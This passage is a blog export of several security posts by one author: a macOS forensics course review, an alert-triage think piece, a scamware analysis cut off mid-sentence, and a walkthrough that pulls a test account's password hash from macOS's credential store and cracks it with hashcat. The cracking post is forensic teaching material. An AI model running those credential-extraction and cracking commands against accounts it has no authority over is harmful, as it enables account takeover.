.DS_Store is Shellbags, finder generated metadata that records what was in a folder when Finder last looked, useful long after the files are gone. Biome, Trash, etc etc. There's so many artifacts to look at and all made easier by using mac_apt (https://github.com/ydkhatri/mac_apt) which you learn how to use for an investigation.\n\n[Image: mac_apt output]\nhttps://enleak.dev/images/research/so-you-want-to-learn-macos-forensics/05.png\n mac_apt output\n\nthen we promptly move onto persistence mechanisms. Launch Daemons and Launch Agents are where malware lives to survive a reboot, plist files defining what runs, when, as which user, loaded by launchd. the module covers privileged helper tools, cron jobs, login items, system extensions, SSH keys, etc. again, this inspired me to visualize what I was learning. i was having tons of fun making these at the local cafe.\n\n[Image: So You Want to Learn macOS Forensics? — image 6]\nhttps://enleak.dev/images/research/so-you-want-to-learn-macos-forensics/06.png\n\nright after persistence, i felt the end of the course approaching and excitement was an understatement. I wanted to use my newly developed skill and understanding against an actual disk image. BUT FIRST. I had to go through the evidence collection and timelining section where you cover Fuji, UAC, unified Logs, acquiring memory, plaso, mactime, log2timeline, etc etc. it was the first time running fuji. funny story, i didn't have enough disk space on my mac in order to save the .dmg file so i had to drive to best buy before they closed and grab a 2TB external drive in order to save the output. and to be honest, this tool took forever lol. but i thought it was funny that i was doing all of this to test out the tool when i could of easily skipped this part. again, immersion.\n\n[Image: So You Want to Learn macOS Forensics? — image 7]\nhttps://enleak.dev/images/research/so-you-want-to-learn-macos-forensics/07.png\n\n### is it over yet?\n\nthe course ends with a compromised system scenario where you get a full image and have to figure out what happened. no guidance on which artifact to pull first. you have mac_apt parsing everything into searchable tables, you have the artifacts, and now it's up to you to look and piece a timeline together. that's the moment everything either holds or it doesn't. for me it held, opening the mac_apt output into DB Browser and building a timeline of what happened while listening to breakcore is absolute cinema. and when mac_apt couldn't get me the answer, I switched to unified logs for some heavy lifting. in all honestly, the course made me extremely confident at looking for activity within macOS. so much so that once i passed the exam, i told my director, and he didn't hesitate to ask for some of the things I learned in the course. amazing feeling. there is some additional content at the end for more practice as well. but why don't we talk about the exam a bit? like all 13Cubed courses, they end with the knowledge assessment. some multiple choice questions to test how well you remember what certain artifacts capture and the methodology but most of the assessment being a hands on section where Richard provides a disk image for you to examine. iirc, I spent roughly 4-5 hours on the exam. pacing back and forth, listening to music, reading blogs, all while the exam was running, every question answered a product of what I had put so much time into learning.\n\n### final thoughts\n\nI didn't know what to expect with this course, especially coming from a heavy windows background. but Richard ALWAYS does an amazing job at introducing you to the OS, its file structure and ultimately all the important artifacts that aid in a forensic examination. I highly recommend for teams with a great number of macOS endpoints to consider this course, not many people talk about macOS forensics, let's switch it up a bit. Thank you Richard for being so quick to answer messages as well.\n"
    },
    {
      "id": "cracking-a-macos-local-password-hash-a-hands-on-walkthrough",
      "title": "Cracking a macOS Local Password Hash — A Hands-On Walkthrough",
      "author": "Enleak",
      "date": "2026-07-03",
      "category": "Forensics",
      "summary": "Follow a controlled test account’s password hash from its macOS record into a Hashcat exercise.",
      "tags": [
        "macos-forensics",
        "digital-forensics",
        "dfir",
        "forensics"
      ],
      "url": "https://enleak.dev/writing/cracking-a-macos-local-password-hash-a-hands-on-walkthrough",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/cracking-a-macos-local-password-hash-a-hands-on-walkthrough.txt",
      "text": "DE&TH DIARIES\n\nCracking a macOS Local Password Hash — A Hands-On Walkthrough\nBy Enleak | 2026-07-03\nForensics | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/cracking-a-macos-local-password-hash-a-hands-on-walkthrough\n\nField note\n\n# Cracking a macOS Local Password Hash — A Hands-On Walkthrough\n\nEvery Mac stores local user passwords as a salted PBKDF2-SHA512 hash tucked inside a hidden directory service file. In this post, I’ll walk…\n\nPublished Jul 03, 20264 min readmacos-forensics · digital-forensics · dfir · forensics\n\nOriginally published on Medium (https://medium.com/@enleak/cracking-a-macos-local-password-hash-a-hands-on-walkthrough-80aba25b4da4).\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 1]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/01.jpg\n\nEvery Mac stores local user passwords as a salted PBKDF2-SHA512 hash tucked inside a hidden directory service file. In this post, I’ll walk through exactly how to pull that hash out of a test account, format it for Hashcat, and crack it.\n\n### Step 1: Create a test account\n\n```\nsudo sysadminctl -addUser testuser2 -fullName \"Test User 2\" -password 'Password123!'\n\n```\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 2]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/02.png\n\nsysadminctl is “Apple's higher-level account management tool, it creates the home directory, sets up the account record, and generates the password hash automatically, all in one command.”\n\n### Step 2: Locate and copy the account’s plist\n\nEvery local account on a Mac has a backing .plist file in the directory service store:\n\n```\nsudo cp /var/db/dslocal/nodes/Default/users/testuser2.plist ~/Desktop/\ncd ~/Desktop\nsudo chmod 660 testuser2.plist\n\n```\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 3]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/03.png\n\n### Step 3: Convert the plist to readable XML\n\nmacOS stores these as binary plists by default. Convert to XML to actually read them:\n\n```\nplutil -convert xml1 testuser2.plist\ncat testuser2.plist\n\n```\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 4]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/04.png\n\nInside, look for the ShadowHashData key, this is where the actual password hash material lives, base64 encoded:\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 5]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/05.png\n\n### Step 4: Decode ShadowHashData into a binary plist\n\nCopy the ShadowHashData base64 blob out into its own file, then decode it:\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 6]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/06.png\n\n```\ncat ShadowHashData.xml | base64 -d > Hash.bin\nxxd Hash.bin | head -1\n\n```\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 7]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/07.png\n\nConfirming the bplist00 header tells you the decode worked and you're looking at a valid binary property list.\n\n### Step 5: Convert to readable XML again\n\n```\nplutil -convert xml1 Hash.bin -o Hash_decoded.xml\ncat Hash_decoded.xml\n\n```\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 8]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/08.png\n\nThis is the payload we need. Three values matter here:\n\n- entropy — the actual derived hash\n\n- salt — random data mixed in before hashing\n\n- iterations — how many times PBKDF2 repeats its hashing round (158,730 in this case)\n\n### Step 6: Convert salt to hex\n\n```\necho \"yLipeYwFIX1rpPOiy4kzfACZNTQ5w13GrwoLBR8y0+c=\" | base64 -d | xxd -p | tr -d '\\n'\n\n```\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 9]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/09.png\n\nResult: c8b8a9798c05217d6ba4f3a2cb89337c0099353439c35dc6af0a0b051f32d3e7\n\n### Step 7: Convert entropy to hex\n\n```\necho \"4aN3nfb78Lrp2jEg4KLKuOrcag9bw3/osA4C+w5lmfFaberHIFk/sOAhhfzLN1RzUfds5glX/8rJSTGF6X9mBYeYxT0hXU0Jze77lwerJYZS5rlF7HuDJtrpRe8kAGN2YqM2VftZLXK3VWq+RTzHBgVCoU2Ak4QKaX+WdCd2ERo=\" | base64 -d | xxd -p | tr -d '\\n' > entropy_full.txt\nwc -c entropy_full.txt\n\n```\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 10]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/10.png\n\n### Step 8: Truncate entropy to 128 hex characters\n\nThis is the part almost no official documentation mentions. Apple’s ShadowHashData stores more entropy bytes than Hashcat’s mode 7100 expects, you need to truncate to the first 128 hex characters (64 bytes) to match the format Hashcat recognizes (https://hashcat.net/forum/archive/index.php?thread-8368.html= (https://hashcat.net/forum/archive/index.php?thread-8368.html=))\n\n```\nENTROPY=$(cut -c1-128 entropy_full.txt)\nprintf '%s' \"$ENTROPY\" | wc -c\n\n```\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 11]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/11.png\n\nHashcat’s own example hash for mode 7100 is 128 characters long, and forum discussions confirm the truncation approach.\n\n### Step 9: Assemble the final hash line\n\nHashcat mode 7100 expects this exact structure:\n\n$ml$<iterations>$<salt-hex>$<entropy-hex>\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 12]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/12.png\n\n```\nSALT=\"c8b8a9798c05217d6ba4f3a2cb89337c0099353439c35dc6af0a0b051f32d3e7\"\nprintf '$ml$158730$%s$%s' \"$SALT\" \"$ENTROPY\" > hash.txt\ncat hash.txt\n\n```\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 13]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/13.png\n\n### Step 10: Build a wordlist and crack it\n\nSince this is a known test password, a tiny dictionary does the job:\n\n```\ncat > wordlist.txt << 'EOF'\npassword\n123456\nPassword1\nPassword123\nPassword123!\nletmein\nqwerty\nadmin123\nWelcome1\nTest1234!\nEOF\n\n```\n\nNow:\n\n```\nhashcat -m 7100 -a 0 hash.txt wordlist.txt\n\n```\n\nPress enter or click to view image in full size\n\n[Image: Cracking a macOS Local Password Hash — A Hands-On Walkthrough — image 14]\nhttps://enleak.dev/images/research/cracking-a-macos-local-password-hash-a-hands-on-walkthrough/14.png\n\n### Takeaways\n\n- macOS protects local passwords with PBKDF2-SHA512 and a high iteration count (158,730 rounds here), which is a meaningful defense against brute force.\n\n- A long, random, unique passphrase makes this same attack impractical even with full access to the hash, the iteration count buys time, but only if the password itself isn’t the weak link.\n"
    },
    {
      "id": "thinking-in-three-dimensions-security-analysis",
      "title": "Thinking in Three Dimensions: How Security Analysts Can Balance Binary, Quantitative, and Qualitative Reasoning — A Think Piece",
      "author": "Enleak",
      "date": "2025-11-09",
      "category": "Analysis",
      "summary": "Use binary decisions, measurements and context together to reason about uncertain security alerts.",
      "tags": [
        "security-analysts",
        "cybersecurity",
        "incident-response"
      ],
      "url": "https://enleak.dev/writing/thinking-in-three-dimensions-security-analysis",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/thinking-in-three-dimensions-security-analysis.txt",
      "text": "DE&TH DIARIES\n\nThinking in Three Dimensions: How Security Analysts Can Balance Binary, Quantitative, and Qualitative Reasoning — A Think Piece\nBy Enleak | 2025-11-09\nAnalysis | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/thinking-in-three-dimensions-security-analysis\n\nField note\n\n# Thinking in Three Dimensions: How Security Analysts Can Balance Binary, Quantitative, and Qualitative Reasoning — A Think Piece\n\nSorry, and thank you for taking the time to read this. I had some time over the weekend and wanted to jot down some thoughts after an…\n\nPublished Nov 09, 20257 min readsecurity-analysts · cybersecurity · incident-response\n\nOriginally published on Medium (https://medium.com/@enleak/thinking-in-three-dimensions-how-security-analysts-can-balance-binary-quantitative-and-d1de97bf8efb).\n\n[Image: Thinking in Three Dimensions: How Security Analysts Can Balance Binary, Quantitative, and Qualitative Reasoning — A Think Piece — image 1]\nhttps://enleak.dev/images/research/thinking-in-three-dimensions-security-analysis/01.jpg\n\nSorry, and thank you for taking the time to read this. I had some time over the weekend and wanted to jot down some thoughts after an interesting conversation with friends. Any feedback is welcome.\n\n### Introduction:\n\nSome alerts arrive with a degree of entropy, including noise, randomness, and missing context, which makes it unclear how confident we can be in them. For example, take a UEBA alert for a sign-in from an IP we’ve never seen before. That might be suspicious, or it might just be the user on a VPN. Some activities live in this grey area. “This is where risk appetite and tolerances matter. If the organization is comfortable with users running consumer VPNs,” and we see no supporting IoCs (no TOR exit node, no shady proxy, MFA satisfied, etc), then we don’t need to treat it like a fire, after verification of course.\n\nTangent over, think back to the first time sitting in front of a SIEM, paralyzed by the volume of alerts, the criticality of some, or how to even begin triaging them. Every alert, valid or not, demands attention, and that’s where fidelity comes in. Detection engineers work to improve the fidelity of these detections by tuning logic, enriching data, and filtering noise. It is the analyst’s job to judge that fidelity in practice and validate whether an alert actually reflects what’s happening on the endpoint, network, account, etc. How confident can we be in the information this alert is providing?\n\nTo find out, we consider three dimensions: Binary, Quantitative, and Qualitative, each helping to reduce uncertainty, sharpen fidelity, and move us closer to the root cause.\n\n### The Binary:\n\n“So, are you a 1 or a 0”? The goal in this dimension is to “simplify the world into a dualistic framework”, thinking in terms of yes/no and true/false. Binary thinking, or splitting (in psychology), provides clarity and shortcuts for making quick and efficient decisions.\n\nDo the following questions ring a bell? Did a suspicious PowerShell script execute? Was a malicious URL or domain accessed? Was a binary dropped to disk? Abused LOLBIN(mshta.exe, certutil.exe, etc)? Did a new process appear linking to a suspicious parent? Did the attacker create or modify a scheduled task, service, or registry key? Are there indications that this is an in-memory attack? Consider this scenario: you’re triaging an alert for suspicious PowerShell activity. Before diving into deeper telemetry or attribution, the first question is straightforward, almost instinctual. Did PowerShell execute with suspicious parameters or encoded commands (-EncodedCommand, -ExecutionPolicy Bypass, -NoProfile, etc)? Is this the child process of a process that doesn’t typically spawn pwsh.exe/powershell.exe/cmd.exe (Brotha, why is outlook.exe spawning cmd.exe)? Are there any observable cmdlets that immediately raise suspicion (Invoke-Expression, Invoke-WebRequest, DownloadFile, Set-ItemProperty, etc)? At this stage, the goal is to gauge the fidelity of the alert: is this malicious activity or just random noise?\n\n[Image: Thinking in Three Dimensions: How Security Analysts Can Balance Binary, Quantitative, and Qualitative Reasoning — A Think Piece — image 2]\nhttps://enleak.dev/images/research/thinking-in-three-dimensions-security-analysis/02.png\n\nLet’s get a bit more specific, take a recent alert I investigated: EDR flagged ClickFix behavior, typically associated with obfuscated PowerShell executed via the ‘Run’’ dialog. Before reading this next part, what questions would you ask right away? The fundamentals for triaging this type of activity…Was PowerShell spawned by a suspicious process(PPID/PID relationship)? Did it spawn any child processes? Any modified registry keys? Do we see encoded commands or unusual parameters? Did the process make any outbound connections? Was a file dropped to disk? Each of these questions helps build confidence in your assessment. A “yes” might indicate an active intrusion, a “no” might suggest a heuristic misfire, or a user simply running a troubleshooting command or interacting with a fake “fix” guide online. Blah blah blah, either way, this step sets the stage for quantitative reasoning, where you begin measuring scope, impact, and scale.\n\n[Image: Thinking in Three Dimensions: How Security Analysts Can Balance Binary, Quantitative, and Qualitative Reasoning — A Think Piece — image 3]\nhttps://enleak.dev/images/research/thinking-in-three-dimensions-security-analysis/03.png\n\nThe caveat? Used alone, it can oversimplify complex and layered incidents. Thinking about an event in a vacuum creates a lot of extra work when you sit and think about it. “When you don’t include any context surrounding the events, then you’re left with putting those pieces together yourself. This creates a lot of extra work and wastes valuable time, especially in SOCs where they are already spread so far thin,” said Juan. As Phil noted, “if you see something presented as an absolute or a binary choice, then use that as a red flag to do some critical thinking. Ask what would need to be also true for this to be true, and what would challenge the assertion”(https://www.philvenables.com/post/cybersecurity-and-the-curse-of-binary-thinking (https://www.philvenables.com/post/cybersecurity-and-the-curse-of-binary-thinking)).\n\n### Quantitative:\n\nThis thinking turns the alerts into a pattern (or proves a lack thereof). Essentially, quantitative thinking is the ability to analyze data, recognize patterns, and use numerical evidence to make informed decisions. Once you have confirmed that something happened, the next questions we ask go like this: How many alerts fired in total? How many hosts, users, or sessions were affected? How many times did this browser extension ID, binary, hash, user agent string, or connection appear across the environment? How many files were created or transferred? How many outbound connections were made, to how many unique destinations, and over what time span? How many clicks on that phishing email?\n\n[Image: Thinking in Three Dimensions: How Security Analysts Can Balance Binary, Quantitative, and Qualitative Reasoning — A Think Piece — image 4]\nhttps://enleak.dev/images/research/thinking-in-three-dimensions-security-analysis/04.jpg\n\nLet’s pivot from isolated events to trends. Using the same ClickFix alert, you’d start by quantifying what you’re seeing: How many hosts triggered the same detection? How much obfuscation is occurring? How many domains are being contacted? Is this connection, file, or process present on any other endpoint? How many files were downloaded? How often has this detection fired in the last 24 hours, week, or month? Does this detection correlate with any other alerts? Has this detection appeared before for this user or host? Unless it’s the security automation team AGAIN lol. After quantifying the activity, I confirmed that this alert was triggered only on a single host. No file downloads were observed, no encoded commands, and no outbound connections were made. Additionally, there was no historical evidence of this detection firing previously for this user or endpoint. BUT this still doesn't answer the elephant in the room, “What is the root cause?”, ultimately, we still don’t know WHAT triggered this. This is where qualitative thinking comes in, making connections between behavior, intent, and environment.\n\n### Qualitative:\n\nThe last dimension, qualitative thinking, is about meaning, context, and interpretation. It goes beyond counting events and asks why they happened or how they fit into a broader narrative. Following the format of the previous dimensions, some questions we ask at this level are: What was the user doing just before the event, and what is their role within the org? Does the behavior align with legitimate activity, or is it anomalous? What context exists (browser history, RunMRU registry entries, user interaction) that explains or challenges the event’s legitimacy? What could the impact have been if this event had succeeded (persistence, lateral movement, exfiltration)? What assumptions are we making, and what would contradict them? Could this have been part of legitimate troubleshooting or administrative work? Was this technique observed elsewhere in the same timeframe? What sequence of actions led to this? The list can go on forever. The point is that, at this level, we’re gauging how far along the kill chain this activity may be, assessing intent, and gathering the necessary context to guide our eradication and containment efforts if it becomes necessary.\n\n[Image: Thinking in Three Dimensions: How Security Analysts Can Balance Binary, Quantitative, and Qualitative Reasoning — A Think Piece — image 5]\nhttps://enleak.dev/images/research/thinking-in-three-dimensions-security-analysis/05.png\n\nReturning to our ClickFix example, we confirmed that PowerShell executed and measured the scope (quantitative). Now, qualitative thinking asks: Why did this happen? In this case, we discovered that the browser history showed the user had visited a “disable PowerShell” article and then executed a DISM command. The execution chain appeared to exhibit potential attacker behavior, but qualitative insights (no file download, no obfuscated command, etc.) suggested benign user activity, a troubleshooting scenario flagged by the heuristic. Yippee, now we know the root cause is user troubleshooting, as indicated by the command below from the blog: https://www.thewindowsclub.com/disable-powershell-v2-windows (https://www.thewindowsclub.com/disable-powershell-v2-windows).\n\n```\nDism /online /Disable-Feature /FeatureName:\"MicrosoftWindowsPowerShellV2Root\"\n\n```\n\nEach dimension builds on the last. Binary thinking gives you clarity, quantitative thinking gives you scale, and qualitative thinking gives you meaning.\n\n### TL;DR\n\nWe reduce noise and build confidence through three dimensions: Binary (what happened), Quantitative (how much), and Qualitative (why). Thank you for reading.\n\nFollow 0xEnleak and Juan_Snow1 on X.\n"
    },
    {
      "id": "scamware-analysis-free-youtube-downloader",
      "title": "Scamware Analysis: FreeYoutubeDownloader.exe",
      "author": "Enleak",
      "date": "2025-10-23",
      "category": "Malware analysis",
      "summary": "Investigate a fake downloader’s packed payload and the tech-support scam it presents to victims.",
      "tags": [
        "malware-analysis"
      ],
      "url": "https://enleak.dev/writing/scamware-analysis-free-youtube-downloader",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/scamware-analysis-free-youtube-downloader.txt",
      "text": "DE&TH DIARIES\n\nScamware Analysis: FreeYoutubeDownloader.exe\nBy Enleak | 2025-10-23\nMalware analysis | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/scamware-analysis-free-youtube-downloader\n\nField note\n\n# Scamware Analysis: FreeYoutubeDownloader.exe\n\nThis post walks through my hands on analysis of Free YouTube Downloader.exe, a packed dropper that uses social engineering to get users to…\n\nPublished Oct 23, 20259 min readmalware-analysis\n\nOriginally published on Medium (https://medium.com/@enleak/scamware-analysis-freeyoutubedownloader-exe-509bc1245716).\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 1]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/01.png\n\nThis post walks through my hands on analysis of Free YouTube Downloader.exe, a packed dropper that uses social engineering to get users to call fake tech support, open a fake support page, and hands remote access so they can ultimately “fix” the Windows Activation pop up that spawn every 2 minute for payment. Again, these blogs are just a way for me to document what I'm learning and upskilling on.\n Please point out anything I missed!!!!\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 2]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/02.jpg\n\n#### File Metadata\n\n```\nSHA256: cae57a60c4d269cd1ca43ef143aedb8bfc4c09a7e4a689544883d05ce89406e7\nFile Description: Free Youtube Downloader 4.1.1.1 Installation\nFile Version: 4.1.1.1\nFile Type:  PE32 Executable\n\n```\n\n#### Static Analysis: PE-Bear and 010 Editor\n\nUsing PE bear, the top pane under Imports lists the DLLs the executable imports, the bottom pane shows the functions imported from the selected DLL (kernel32 in this case). These are static imports resolved by the loader. Absence of a function here doesn’t mean the binary won’t call it though, it may use LoadLibrary/GetProcAddress at runtime to hide calls(we dont see in this sample). We also note the 4D 5A hex value which is the magic number representing the “MZ executable format of the executable file format used for .EXE files in DOS.” With this, we now have a view of DLLs and some functions that are used:\n\n```\nkernel32.dll, user32.dll, shell32.dll\n\n```\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 3]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/03.png\n\nIn 010 editor (or you can remain in PE-Bear tbh) we can observe some interesting artifacts including references to PE files, registry keys, emails, URLs, etc. Now, filtering for the hex values of 2E 63 6F 6D(translate to “.com” in ASCII), help us gather some really interesting artifacts:\n\nwww[.]youtubedownloadernew[.]com\n\nsupport@youtubedownloadernew[.]com\n\nWe also manage to find:\n\nSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\n\n\\Uninstall.exe\n\nFree Youtube Downloader.lnk\n\n\\Free YouTube Downloader.exe\n\n\\Box.exe\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 4]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/04.png\n\n#### Additional Static Analysis: Detect-It-Easy, FLOSS, ExeInfo and PSStudio\n\nExeinfo has a ripper function which scans for any www / http / ftp references found within the binary, as you can see, there’s a handful of tools you can integrate into your methodology in order to gain lots of insight. Exeinfo helped us find www[.]youtubedownloadernew[.]com as well. Let’s also use Detect it Easy (DiE for short), this tool will scan and apply signatures in order to help us determine things like packers (“Packers are utilities that package one or more files into a single executable, often adding compression. This process makes static and dynamic detection more difficult”). In our example, we see DiE note (Heur)Packer: Compressed or packed data[Strange overlay]in addition to high entropy which is a result of encrypted and compressed data noted by N4k0rs in Unpacking tips — N4k0r’s Blog (https://n4k0r.github.io/tips/unpacking/). In this sample, we identified Delphi Smart Install Maker 5.04 installer. We have a packed dropper in our hands!\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 5]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/05.png\n\n[Image: DiE output:]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/06.png\n DiE output:\n\n[Image: Exeinfo output:]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/07.png\n Exeinfo output:\n\nAlongside DiE, FLOSS was used to recover the email, URLs, PE names, and registry paths discovered earlier in 010 Editor, nothing new, just another tool we can use for a similar use case. Some additional artifacts found:\n\nSOFTWARE\\Borland\\Delphi\\RTL\n\nSmart Install Maker v. 5.04\n\nSetup has finished installing Free Youtube Downloader on your computer\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 8]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/08.png\n\n[Image: Floss output.]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/09.png\n Floss output.\n\nWe also note some Windows API functions flagged by PEStudio:\n\nWinExec\n\nOpenProcessToken\n\nGetTokenInformation\n\nRegCreateKeyExA\n\nRegSetValueExA\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 10]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/10.png\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 11]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/11.png\n\n#### Regshot Analysis:\n\nRegshot utility will track registry modifications(duh) that have taken place between the two snapshots, we also check the scan dir option in order to capture any modifications to any directories (i.e, file downlaods, etc). In the image to the right, we see the registry changes that have occurred between the shot taken before execution and after, the output is pretty verbose, so I won't be going over the differences.\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 12]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/12.png\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 13]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/13.png\n\n#### Runtime Behavioral Analysis:\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 14]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/14.png\n\nNow the juicy part. Upon execution of FreeYouTubeDownloader.exe, the installer unpacks into C:\\Windows\\Free YouTube Downloader\\ and creates a desktop shortcut named Free YouTube Downloader.lnk.Process Explorer revealed that a secondary process, Box.exe, was repeatedly spawned every minute under the Free YouTube Downloader process (we find out the actual interval later on). Each spawned instance triggered an annoying fake Windows activation prompt, attempting to convince the user that their system license had expired and to call their support number.\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 15]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/15.png\n\nClicking “Activate” on the pop up initiated a fake progress bar designed to appear legit, ultimately displaying another popup claiming:\n\n“Windows Helper is unable to activate Windows. Contact support to activate. Support Toll Free 1–888–479–3649.”\n\nThis behavior clearly indicates a tech support scam, attempting to socially engineer the user into calling the number and potentially leading to some sort of payment, yikes.\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 16]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/16.png\n\nProcess Explorer also gives us a bit more insight on the version, build time, parent/child relationship, autostart location, current directory, etc:\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 17]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/17.png\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 18]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/18.png\n\nMy screen eventually looked like this….HELPPPPP.\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 19]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/19.jpg\n\nUsing Procmon, we can filter for Process Name and the operationCreateFile.\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 20]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/20.png\n\nThis reveals theWindows\\Free YouTube Downloader Folder, containing the Box.exe, Free YouTube Downloader.exe, Uninstall.exe, and Uninstall.ini files and also the desktop shortcut we observed earlier.\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 21]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/21.png\n\n#### Persistence Mechanisms:\n\nUsing Procmon(again) and Autoruns, the only persistence evidence observed came from a registry modification under the user’s Run key. This ensures the executable launches automatically at each user logon. No artifacts were detected within the Startup folder or under system-level autostart locations such as Winlogon\\Shell or RunOnce. No WMI subscriptions, embedded payloads, etc. Nothing too complex at all.\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 22]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/22.png\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 23]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/23.png\n\n#### FreeYoutubeDownloader.exe DnSpy Analysis:\n\nInside the main form (Form1), I found a few interesting things that helped confirm the behavior we saw during behavioral analysis;\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 24]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/24.png\n\n```\nPrivate _Timer1 As Global.System.Windows.Forms.Timer\n\n```\n\nThis snippet means the program uses a built-in Windows timer that can run code on a set schedule. “A Timer (https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.timer?view=windowsdesktop-9.0) is used to raise an event at user-defined intervals”. Then, under the InitializeComponent() section, we can see the timer being configured:\n\n```\nMe.Timer1.Enabled = True\nMe.Timer1.Interval = 120000\n\n```\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 25]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/25.png\n\nThat 120000 value is in milliseconds(docs-desktop/dotnet-desktop-guide/winforms/controls/timer-component-overview-windows-forms.md at main · dotnet/docs-desktop · GitHub (https://github.com/dotnet/docs-desktop/blob/main/dotnet-desktop-guide/winforms/controls/timer-component-overview-windows-forms.md)). So, every two minutes, this timer triggers a specific function called Timer1_Tick.\n\nThen in the Timer1_Tick() function, we can see exactly what happens when the timer goes off:\n\n```\nProcess.Start(\"C:\\Windows\\Free Youtube Downloader\\Free Youtube Downloader\\Box.exe\")\n\n```\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 26]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/26.png\n\nThis confirms that the Box.exe process is intentionally spawned at two-minute intervals, ANNOYING.\n\n#### Box.exe DnSpy Analysis:\n\n```\nSha256: a2380a5f503bc6f5fcfd4c72e5b807df0740a60a298e8686bf6454f92e5d3c02\n\n```\n\nIn the InitializeComponent() function, the layout reveals several UI elements: a large background image, an “Activate” button (button1), a “Support” link, a progress bar, and a Timer object. The interesting (not really) part is how those elements are wired together. The Activate button handler (button1_Click_1) simply starts the 